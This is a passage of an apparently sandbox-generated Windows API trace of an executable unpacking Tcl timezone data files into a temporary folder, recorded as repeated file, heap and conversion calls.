lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ujung_Pandang", lpFilePart=0x0) returned 0x4a [0040.765] GetLastError () returned 0x2 [0040.765] SetLastError (dwErrCode=0x2) [0040.765] GetLastError () returned 0x2 [0040.765] SetLastError (dwErrCode=0x2) [0040.766] GetLastError () returned 0x2 [0040.766] SetLastError (dwErrCode=0x2) [0040.766] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ujung_Pandang") returned 75 [0040.766] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.766] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ujung_Pandang" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ujung_pandang"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.767] GetFileType (hFile=0x10c) returned 0x1 [0040.767] htonl (hostlong=0xb5000000) returned 0xb5 [0040.767] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.767] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb5, lpOverlapped=0x0) returned 1 [0040.768] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.768] CloseHandle (hObject=0x10c) returned 1 [0040.768] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.768] htonl (hostlong=0x30000000) returned 0x30 [0040.768] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.768] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.768] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.768] GetFileType (hFile=0x10c) returned 0x1 [0040.768] htonl (hostlong=0xcd255b00) returned 0x5b25cd [0040.768] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fd5cd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.769] htonl (hostlong=0x97010000) returned 0x197 [0040.769] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x197) returned 0x550600 [0040.769] htonl (hostlong=0x97010000) returned 0x197 [0040.769] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.769] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.769] htonl (hostlong=0xcf050000) returned 0x5cf [0040.769] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5cf) returned 0x55e278 [0040.769] htonl (hostlong=0x97010000) returned 0x197 [0040.769] htonl (hostlong=0xcf050000) returned 0x5cf [0040.769] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.769] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.769] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.769] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.769] CloseHandle (hObject=0x10c) returned 1 [0040.769] GetLastError () returned 0x0 [0040.769] SetLastError (dwErrCode=0x0) [0040.769] GetLastError () returned 0x0 [0040.769] SetLastError (dwErrCode=0x0) [0040.769] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.769] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.769] GetFileType (hFile=0x10c) returned 0x1 [0040.769] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.769] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.770] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.770] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.770] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.770] CloseHandle (hObject=0x10c) returned 1 [0040.770] GetLastError () returned 0x0 [0040.770] SetLastError (dwErrCode=0x0) [0040.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.770] GetFileType (hFile=0x10c) returned 0x1 [0040.770] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.770] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.770] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.770] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.770] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.770] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.770] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.770] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.770] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.770] CloseHandle (hObject=0x10c) returned 1 [0040.770] GetLastError () returned 0x0 [0040.770] SetLastError (dwErrCode=0x0) [0040.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.770] GetFileType (hFile=0x10c) returned 0x1 [0040.770] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.771] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.771] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.771] CloseHandle (hObject=0x10c) returned 1 [0040.771] GetLastError () returned 0x0 [0040.771] SetLastError (dwErrCode=0x0) [0040.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulaanbaatar") returned 73 [0040.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulaanbaatar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ulaanbaatar"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.771] GetLastError () returned 0x2 [0040.771] SetLastError (dwErrCode=0x2) [0040.771] GetLastError () returned 0x2 [0040.771] SetLastError (dwErrCode=0x2) [0040.771] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulaanbaatar", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulaanbaatar", lpFilePart=0x0) returned 0x48 [0040.771] GetLastError () returned 0x2 [0040.771] SetLastError (dwErrCode=0x2) [0040.771] GetLastError () returned 0x2 [0040.771] SetLastError (dwErrCode=0x2) [0040.771] GetLastError () returned 0x2 [0040.771] SetLastError (dwErrCode=0x2) [0040.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulaanbaatar") returned 73 [0040.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulaanbaatar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ulaanbaatar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.772] GetFileType (hFile=0x10c) returned 0x1 [0040.772] htonl (hostlong=0xcf050000) returned 0x5cf [0040.772] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.772] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x5cf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x5cf, lpOverlapped=0x0) returned 1 [0040.773] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.773] CloseHandle (hObject=0x10c) returned 1 [0040.773] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.773] htonl (hostlong=0x30000000) returned 0x30 [0040.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.773] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.773] GetFileType (hFile=0x10c) returned 0x1 [0040.773] htonl (hostlong=0x64275b00) returned 0x5b2764 [0040.773] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fd764, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.773] htonl (hostlong=0x8b000000) returned 0x8b [0040.773] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0040.773] htonl (hostlong=0x8b000000) returned 0x8b [0040.773] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.773] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.774] htonl (hostlong=0xbb000000) returned 0xbb [0040.774] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbb) returned 0x55e170 [0040.774] htonl (hostlong=0x8b000000) returned 0x8b [0040.774] htonl (hostlong=0xbb000000) returned 0xbb [0040.774] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.774] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.774] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.774] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.774] CloseHandle (hObject=0x10c) returned 1 [0040.774] GetLastError () returned 0x0 [0040.774] SetLastError (dwErrCode=0x0) [0040.774] GetLastError () returned 0x0 [0040.774] SetLastError (dwErrCode=0x0) [0040.774] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.774] GetFileType (hFile=0x10c) returned 0x1 [0040.774] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.774] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.774] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.774] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.774] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.774] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.774] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.774] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.774] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.774] CloseHandle (hObject=0x10c) returned 1 [0040.774] GetLastError () returned 0x0 [0040.774] SetLastError (dwErrCode=0x0) [0040.775] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.775] GetFileType (hFile=0x10c) returned 0x1 [0040.775] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.775] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.775] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.775] CloseHandle (hObject=0x10c) returned 1 [0040.775] GetLastError () returned 0x0 [0040.775] SetLastError (dwErrCode=0x0) [0040.775] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.775] GetFileType (hFile=0x10c) returned 0x1 [0040.775] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.775] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.776] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.776] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.776] CloseHandle (hObject=0x10c) returned 1 [0040.776] GetLastError () returned 0x0 [0040.776] SetLastError (dwErrCode=0x0) [0040.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulan_Bator") returned 72 [0040.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulan_Bator" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ulan_bator"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.776] GetLastError () returned 0x2 [0040.776] SetLastError (dwErrCode=0x2) [0040.776] GetLastError () returned 0x2 [0040.776] SetLastError (dwErrCode=0x2) [0040.776] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulan_Bator", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulan_Bator", lpFilePart=0x0) returned 0x47 [0040.776] GetLastError () returned 0x2 [0040.776] SetLastError (dwErrCode=0x2) [0040.776] GetLastError () returned 0x2 [0040.776] SetLastError (dwErrCode=0x2) [0040.776] GetLastError () returned 0x2 [0040.776] SetLastError (dwErrCode=0x2) [0040.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulan_Bator") returned 72 [0040.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ulan_Bator" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ulan_bator"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, 